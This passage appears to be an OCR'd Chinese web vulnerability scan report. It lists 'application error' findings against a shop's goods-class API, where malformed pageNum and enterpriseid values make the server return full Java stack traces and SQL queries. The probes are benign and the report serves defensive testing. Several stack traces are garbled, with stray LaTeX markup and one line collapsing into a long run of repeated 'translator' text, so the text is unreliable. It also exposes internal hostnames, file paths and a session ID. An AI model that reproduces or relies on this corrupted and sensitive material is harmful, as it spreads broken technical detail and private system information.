\verb|org.springframework.jdbc.support.| \\ \frac{SQLStateSQLException}{SQLStateSQLException} \\ \\ Translator. \\ \\ doTranslate(\frac{SQLStateSQLException}{SQLStateSQLException}) \\ \\ Translator. \\ doTranslator(\frac{SQLStateSQLException}{SQLStateSQLException}) \\ Translator(\frac{SQLStateSQLException}{SQLStateSQLException}) \\ 
 ranslator.java:102) \n\tat
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
 kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallback| \verb|SQLException| | Translator.translate| (AbstractFallback) | Translator.translator.translator| (AbstractFallback) | Translator.translator.translator| (AbstractFallback) | Translator.translator.translator| (AbstractFallback) | Translator.translator| (AbstractFallback) | Translator.translator| (AbstractFallback) | Translator| (AbstractFallback) | 
kSQLExceptionTranslator.java:81) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source) \n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoodscl
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
 . . .
 . . .
 ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363)\n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
io.netty.util.concurrent.AbstractEventExecutor.safeExecute (AbstractEventExecutor.java:163) \n\tat
 io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
org.postgresgl.idbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:468) \n\t
at org.postgresgl.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461) \n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
)\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java
 :56)\n\tat
org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:7
0) \n\tat org.apache.ibatis.executor.Si
 . . .
 . . .
```

变体-14/6

差异: 参数 从以下位置进行控制: pageNum 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
\label{lem:matter:action} draw=3\&start=0\&length=45\&search\%5Bvalue\%5D=1234\&search\%5Bregex\%5D=false\&pageNum.=1\&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1\&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5Bregex\%5D=false\&pageNum.=1&searchValue=1244\&search\%5D=false\&pageNum.=1&searchValue=1244\&search\%5D=false\&pageNum.=1&searchValue=1244\&search\%5D=false\&pageNum.=1&searchValue=1244\&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&pageNum.=1&search\%5D=false\&
 34 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
    "data": [
      "returnCode": 0,
                                                                         错误代码:LUO003C\r\n错误信息:查询商品分类失败
    "msa": "e:
 \r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
 error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
while setting parameters\n### SQL: select
                                                                                                                                                                                                             enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                                                                                                           (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub_goodsclass a where 1=1
                                                                                                                                                         and enterpriseid=?
                                                                                                                                                                                                                                                                                            and (classcode like '%'||?
 ||'%' OR classname like '%'||?||'%')
                                                                                                                                                                                         order by classid desc
                                                                                                                                                                                                                                                                                                               limit ? offset ?\n###
Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR:
OFFSET must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET
must not be negative\n\tat
org.springframework.idbc.support.SOLStateSOLExceptionTranslator.doTranslate(SOLStateSOLExceptionT
ranslator.java:102) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallback | \verb|sQLException|| | Translator.translate|| (AbstractFallback | AbstractFallback | AbstractF
 kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
 kSQLExceptionTranslator.java:81) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallback| \verb|SQLException| | Translator.translate| (AbstractFallback| SQLException| | Translator.translator| | AbstractFallback| | AbstractFal
 kSQLExceptionTranslator.java:81) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\ \verb| h| tat | figure | figure
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source)\n\tat
com.suneee.scn.goods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
.63)\n\tat
\verb|com.suneee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoodsclas
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext| \verb|37.run| (AbstractChannelHandlerContext.java: 354) \verb| n tailing the stractChannelHandlerContext| and the s
io.nettv.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:163)\n\tat
```

```
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks} (SingleThreadEventExecutor.java: 403) \\
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461)\n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
)\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java
:56)\n\tat
org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:7
0) \n\tat org.apache.ibatis.executor.Si
. . .
. . .
. . .
```

变体-|5/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=3&start=0&length=45&search%5Bvalue%5D=1234&search%5Bregex%5D=false&pageNum%5B%5D=1&searchVal
ue=1234 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
 . . .
   "data": [
   "returnCode": 0,
                                                 错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msa": "e:
 \r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
 while setting parameters\n### SQL: select
                                                                                                                                           enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                                   (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
 from pub goodsclass a where 1=1
                                                                                                           and enterpriseid=?
                                                                                                                                                                                                       and (classcode like '%'||?
                                                                                                                                 order by classid desc
 ||'%' OR classname like '%'||?||'%')
                                                                                                                                                                                                                    limit ? offset ?\n###
Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR:
OFFSET must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET
must not be negative\n\tat
org.springframework.jdbc.support. \\ \underline{SQLStateSQLException} \\ Translator.doTranslate(\underline{SQLStateSQLException} \\ Translator.doTranslate(\underline{SQLStateSQLException} \\ Translator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.d
ranslator.java:102)\n\tat
\verb|org.springframework.jdbc.support.AbstractFallback & \verb|SQLException|| \\ | Translator.translate (AbstractFallback) \\ | AbstractFallback & | AbstractFallback \\ | AbstractFallba
kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallback
 kSQLExceptionTranslator.java:81) \n\tat
```

```
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
 kSQLExceptionTranslator.java:81) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:399)\n
 \tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\| \land \texttt{tat} = \texttt{tat}
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source)\n\tat
:63)\n\tat
\verb|com.suneee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(PubGoodsclassForPage(Pub
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
ead0(RequestHandler.java:52)\n\tat
 io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ia
va·363)\n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext| \verb| for the context| \verb| for the con
{\tt io.netty.util.concurrent.AbstractEventExecutor.safeExecute\,(AbstractEventExecutor.java:163)\,\\ \\ \land tataline abstractEventExecutor.based ab
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
{\tt io.netty.util.concurrent.SingleThreadEventExecutor} \\ {\tt 5.run(SingleThreadEventExecutor.java:858)} \\ {\tt htallower} \\ {\tt 1.run(SingleThreadEventExecutor.java:858)} \\ {\tt 1.run(SingleThreadEventExecutor.java:858)} \\ {\tt 1.run(SingleThreadEventExecutor.java:958)} \\ {\tt 
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \texttt{DefaultRunnableDecorator.run}\\| \texttt{(DefaultThreadFactory.jun)}| \texttt{(Defa
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173)\n\tat
orq.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://document.execute(AbstractJdbc2Statement.java: 461)
:56) \n\tat
0) \n\tat org.apache.ibatis.executor.Si
```

变体-16/6

差异: 参数 已从请求除去: 1

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=3&start=0&length=45&search%5Bvalue%5D=1234&search%5Bregex%5D=false&searchValue=1234 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
. . .
    "data": [
    "returnCode": 0,
                                                                错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msg": "e:
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
while setting parameters\n### SQL: select
                                                                                                                                                                                      enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                                                                                (select classname from pub_goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
                                                                                                                                           and enterpriseid=?
                                                                                                                                                                                                                                                         and (classcode like '%'||?
from pub_goodsclass a where 1=1
||'%' OR classname like '%'||?||'%')
                                                                                                                                                                   order by classid desc
                                                                                                                                                                                                                                                                          limit ? offset ?\n###
Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR:
OFFSET must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET
must not be negative\n\tat
org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.doTranslate(SQLStateSQLExceptionT
ranslator.java:102) \n\tat
org.springframework.jdbc.support.AbstractFallback \\ \frac{SQLException}{T} \\ ranslator.translate \\ (AbstractFallback) \\ \frac{SQLException}{T} \\ ranslator.translate \\ \frac{SQLException}{T} \\ \frac{SQLExcept
kSQLExceptionTranslator.java:73) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallback| \verb|SQLException| | Translator.translate| (AbstractFallback) | AbstractFallback| | AbstractFa
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSOLExceptionTranslator.java:81) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\ \verb| h| tat | figure | figure
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source)\n\tat
com.suneee.scn.qoods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
:63) \n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoo
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
. . .
. . .
ead0(RequestHandler.java:52)\n\tat
tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363) \n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.nettv.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
io.netty.util.concurrent.AbstractEventExecutor.safeExecute (AbstractEventExecutor.java:163) \n\tat
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java: 403)} \\
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \texttt{DefaultRunnableDecorator.run}\\| \texttt{(DefaultThreadFactory.jun)}| \texttt{(Defa
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
orq.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://document.execute(AbstractJdbc2Statement.java: 461)
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
)\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java
:56) \n\tat
org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:7
0) \n\tat org.apache.ibatis.executor.Si
. . .
. . .
```

问题 26 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"enterpriseid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

差异: 参数 从以下位置进行控制: 55 至: 55xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 180
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
